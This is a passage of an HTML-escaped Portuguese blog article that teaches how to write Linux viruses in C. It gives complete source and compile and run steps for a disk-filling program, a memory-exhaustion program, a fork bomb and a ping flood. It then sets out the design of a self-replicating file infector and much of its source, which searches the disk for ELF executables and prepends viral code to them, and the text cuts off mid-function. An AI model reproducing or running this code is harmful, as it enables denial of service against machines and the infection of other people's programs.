pai tem que continuar a executar as funcionalidades restantes do vírus */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (i==0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;acao();&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para compilá-lo basta fazer:&lt;br /&gt;&lt;br /&gt;$ gcc progacao1.c -o progacao1&lt;br /&gt;&lt;br /&gt;Para executá-lo:&lt;br /&gt;&lt;br /&gt;$ ./progacao1&lt;br /&gt;&lt;br /&gt;Use o comando (várias vezes) df para ver o espaço em disco diminuindo. Use o comando ls ou find ./ -name lotaHD para ver se encontra o arquivo.&lt;br /&gt;&lt;br /&gt;Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exemplo 2&lt;/span&gt;&lt;br /&gt;O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.&lt;br /&gt;&lt;br /&gt;O fonte está publicado para download &lt;a href="http://www.vivaolinux.com.br/scripts/userview.php?login=grj_rj"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/* progacao2.c */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;acao ()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *f;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f = malloc (10000); /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep (10); /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main () /* o main já foi explicado no exemplo 1 */&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i=fork();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (i==0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;acao();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para compilar:&lt;br /&gt;&lt;br /&gt;$ gcc progacao2.c -o progacao2&lt;br /&gt;&lt;br /&gt;E para executar:&lt;br /&gt;&lt;br /&gt;$ ./progacao2&lt;br /&gt;&lt;br /&gt;Para ver o uso de memória aumentando use ps -axv.&lt;br /&gt;&lt;br /&gt;Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo].&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exemplo 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.&lt;br /&gt;&lt;br /&gt;Há uma opção, usar kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.&lt;br /&gt;&lt;br /&gt;Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.&lt;br /&gt;&lt;br /&gt;O fonte está publicado para download &lt;a href="http://www.vivaolinux.com.br/scripts/userview.php?login=grj_rj"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/* progacao3.c */&lt;br /&gt;acao ()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fork();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main () /* o main já foi explicado no exemplo 1 */&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i=fork();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (i==0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;acao();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para compilar:&lt;br /&gt;&lt;br /&gt;$ gcc progacao3.c -o progacao3&lt;br /&gt;&lt;br /&gt;Para executar:&lt;br /&gt;&lt;br /&gt;$ ./progacao3&lt;br /&gt;&lt;br /&gt;Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.&lt;br /&gt;&lt;br /&gt;Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Exemplo 4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.&lt;br /&gt;&lt;br /&gt;Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.&lt;br /&gt;&lt;br /&gt;O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.&lt;br /&gt;&lt;br /&gt;O fonte está publicado para download &lt;a href="http://www.vivaolinux.com.br/scripts/userview.php?login=grj_rj"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/* progacao4.c */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;pthread.h&amp;gt;&lt;br /&gt;&lt;br /&gt;void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */&lt;br /&gt;&lt;br /&gt;acao()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int return_thread;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pthread_t thread;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return_thread=pthread_create (&amp;thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep (10); /* já explicado no exemplo 2 */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main () /* o main já foi explicado no exemplo 1 */&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i=fork();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (i==0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;acao();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void ping (char *host)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int desc;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pipe (desc); /* o pipe já foi explicado no exemplo 1 */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Para compilar:&lt;br /&gt;&lt;br /&gt;$ gcc -o progacao4.c -lpthread progacao4&lt;br /&gt;&lt;br /&gt;Para executar:&lt;br /&gt;&lt;br /&gt;$ ./progacao4&lt;br /&gt;&lt;br /&gt;Para ver o andamento use: ps-ax&lt;br /&gt;&lt;br /&gt;Para parar a thread, basta matar o processo pai. Faça-o com:&lt;br /&gt;&lt;br /&gt;$ ps -ax | grep progacao4 (busque o número do processo progacao4)&lt;br /&gt;&lt;br /&gt;E:&lt;br /&gt;&lt;br /&gt;$ kill -9 [núm. processo]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Teorizando&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nesta primeira parte do artigo criaremos um vírus muito simples, mas que servirá para o entendimento do processo de funcionamento.&lt;br /&gt;&lt;br /&gt;O vírus funcionará na seguinte ordem: ele se copia para um arquivo temporário, copia o arquivo hospedeiro para o final do temporário, apaga o arquivo hospedeiro original e renomeia o arquivo temporário.&lt;br /&gt;&lt;br /&gt;Seria algo mais ou menos assim:&lt;br /&gt;&lt;br /&gt;$ cat virus &amp;gt;&amp;gt; temp&lt;br /&gt;$ cat hospedeiro &amp;gt;&amp;gt; temp&lt;br /&gt;$ rm hospedeiro&lt;br /&gt;$ mv temp hospedeiro&lt;br /&gt;&lt;br /&gt;Porém, fazendo assim vários problemas iriam ocorrer:&lt;br /&gt;&lt;br /&gt;1) não temos garantia de que o hospedeiro infectado tenha permissão de execução.&lt;br /&gt;&lt;br /&gt;2) tendo permissão de execução, apenas o código do vírus seria executado.&lt;br /&gt;&lt;br /&gt;O que nosso código terá que fazer:&lt;br /&gt;&lt;br /&gt;1) guardar a linha de comando digitada para passar ao hospedeiro.&lt;br /&gt;&lt;br /&gt;2) buscar por todo o disco arquivos executáveis binários que possam ser infectados.&lt;br /&gt;&lt;br /&gt;3) quando encontrar arquivos possíveis de infecção, infectá-los.&lt;br /&gt;&lt;br /&gt;4) executar a funcionalidade do vírus.&lt;br /&gt;&lt;br /&gt;5) executar o código do hospedeiro com a linha de comando.&lt;br /&gt;&lt;br /&gt;Alguns detalhes deverão ser tratados:&lt;br /&gt;&lt;br /&gt;1) não é possível esperar a infecção dos arquivos e nem a execução da funcionalidade do vírus para que seja executado o hospedeiro.&lt;br /&gt;&lt;br /&gt;2) será necessário saber de antemão o tamanho do vírus, para separá-lo exatamente do hospedeiro.&lt;br /&gt;&lt;br /&gt;Requisitos necessários&lt;br /&gt;1) compilador gcc:&lt;br /&gt;&lt;br /&gt;# apt-get install gcc (para instalá-lo no Debian e distros based)&lt;br /&gt;&lt;br /&gt;2) biblioteca ncurses:&lt;br /&gt;&lt;br /&gt;# apt-get install libncurses&lt;br /&gt;&lt;br /&gt;3) biblioteca libc:&lt;br /&gt;&lt;br /&gt;# apt-get install libc6&lt;br /&gt;&lt;br /&gt;4) bibliotecas essenciais:&lt;br /&gt;&lt;br /&gt;# apt-get install build-essential&lt;br /&gt;&lt;br /&gt;É aconselhável que teste o vírus em uma máquina virtual. Sugiro usar o qemu.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Mãos à obra&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O fonte está publicado para download &lt;a href="http://www.vivaolinux.com.br/scripts/userview.php?login=grj_rj"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/*&lt;br /&gt;    virus1.c&lt;br /&gt;&lt;br /&gt;Obs.: os tipos de arquivos podem ser&lt;br /&gt;10. link simbólico     lxxx&lt;br /&gt;8. arquivo     -xxx&lt;br /&gt;6. arquivo de bloco     bxxx&lt;br /&gt;4. diretório     dxxx&lt;br /&gt;2. arquivo de caracter     cxxx&lt;br /&gt;1. arquivo de paginação     pxxx&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;dirent.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define WA(m) m&amp;0x02&lt;br /&gt;#define WG(m) m&amp;0x10&lt;br /&gt;#define WO(m) m&amp;0x80&lt;br /&gt;&lt;br /&gt;#define tamVir 12239 /* Tamanho do Vírus&lt;br /&gt;  Após o vírus ser compilado, use o ls -l para descobrir o tamanho do executável e use o tamanho aqui */&lt;br /&gt;&lt;br /&gt;char codvirus [tamVir]; /* conterá o código do vírus */&lt;br /&gt;&lt;br /&gt;const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */&lt;br /&gt;&lt;br /&gt;int _USER_;&lt;br /&gt;int _GROUP_;&lt;br /&gt;char *_PATH_;&lt;br /&gt;&lt;br /&gt;void infecta (char *_arq, struct stat _attr)&lt;br /&gt;{&lt;br /&gt;/*Essa técnica de infecção foi uma tentativa que deu certo, foi feita gravando byte por byte, pois assim diminui em muito o tamanho do código, porém pode ser aperfeiçoado.&lt;br /&gt;&lt;br /&gt;    No Windows seria fácil, bastaria copiar o vírus para um arquivo temporário e depois copiar a arquivo a ser infectado no final do temporário, apagar o arquivo original e depois renomear o temp.&lt;br /&gt;&lt;br /&gt;    No Linux o buraco é "mais embaixo". Apesar de ter direito de escrita em um arquivo, o usuário pode não ter direito de escrita no diretório onde o arquivo se encontra. Logo não daria para criar o temporário.&lt;br /&gt;&lt;br /&gt;    Então, pode vir a pergunta. Por que não copia o arquivo para um temporário em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui o temporário no final? O problema é que teria que varrer todo o disco procurando um diretório em que o usuário tivesse direito de escrita correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário home me dá garantia que posso escrever nele ou se o usuário que irá executar o vírus tem diretório home. Por que, então não guardar o executável na memória, sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?&lt;br /&gt;&lt;br /&gt;    Porque nada garante que dependendo do tamanho do executável e da memória disponível irá ter espaço suficiente, principalmente se estiverem sendo executados várias instâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus ficará na memória indefinidamente, essa solução me pareceu melhor.*/&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *file_exec;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *file_tmp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char buf[1024];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *tmp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(file_exec=fopen(_arq, "rw+"))) return;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp=(char *)malloc(strlen (_arq)+4);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (tmp, _arq);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (tmp,".tmp");&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (file_tmp=fopen(tmp, "w+"))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unlink(tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Copiando o hospedeiro para o temporário */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Voltando ao início dos arquivos */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fseek(file_tmp,0 ,SEEK_SET);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fseek(file_exec,0 ,SEEK_SET);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* copiando para dentro do arquivo original, poupamos tempo com permissões.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Gravando o código do vírus no arquivo temporário*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fwrite(codvirus,1,tamVir,file_exec);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* voltando o original para depois do vírus */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_exec);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void tentaInfectar (char *arq)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *file_exec;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ret;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char bout[25];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* vamos pegar os atributos do arquivo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct stat attrib;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;stat(arq, &amp;attrib);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* verificando se o arquivo é binário&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Todo executável binário assim como no Windows tem um cabeçalho identificando.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Não sei o significado mas abri vários binários e sem exceção eles têm os seguintes primeiros.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;24 byts = CABEC_EXEC */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direito de leitura, não serve */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret = fread (bout, 1, 24, file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (ret &amp;lt;= 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (i=0; i&amp;lt;=23; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Se tiver alguma diferença no cabeçalho, não é binário */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (CABEC_EXEC[i] != bout[i])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Se o usuário for root ou for igual ao dono do arquivo no caso do grupo, tem que ter direito de escrita outro caso é se o arquivo der direito de escrita para todos nestes 4 casos, podemos continuar */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((_USER_ != 0) &amp;&amp; (!(WA(attrib.st_mode))) &amp;&amp; ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) &amp;&amp; ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;infecta (arq, attrib);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void buscaInfecta (char *d)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct dirent *dir;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIR *path;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *strArq;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *dt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int tam;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;tam = strlen(d);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dt=(char *)malloc (tam+1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (dt, d);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* retirando a barra do fim do nome em caso de diretório para ficar padrão quando for diretório a barra será recolocada*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (dt[tam-1]=='/')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dt[tam-1]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tam--;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(path=opendir (dt))) { free (dt); return; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while(dir = readdir(path))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep (1000);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strArq=(char *)malloc(tam + strlen (dir-&amp;gt;d_name) + 2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (strArq, dt);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (&amp;strArq[tam], "/");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (&amp;strArq[tam+1], dir-&amp;gt;d_name);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((dir-&amp;gt;d_type==4) &amp;&amp; (strcmp (dir-&amp;gt;d_name,".")!=0) &amp;&amp; (strcmp (dir-&amp;gt;d_name,"..")!=0))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscaInfecta (strArq);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else if (dir-&amp;gt;d_type==8)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tentaInfectar (strArq);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free (strArq);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;closedir (path);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;free (dt);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void pegaDadosExport (void)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Pegando a Variável PATH do sistema */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;_PATH_ = getenv("PATH");&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* pegando id do usuário e do grupo do usuário que está executando a aplicação */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;_USER_ = getuid();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;_GROUP_= getgid();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int pegaCodVirus (char *exec)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *file_exec;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *diret;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *tmp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i=0, j=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int tamstr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int achou=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ret;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* caso não tenha digitado todo o path do arquivo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(file_exec=fopen(exec,"r")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tamstr=strlen(exec);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Busca no PATH do sistema*/&lt;br 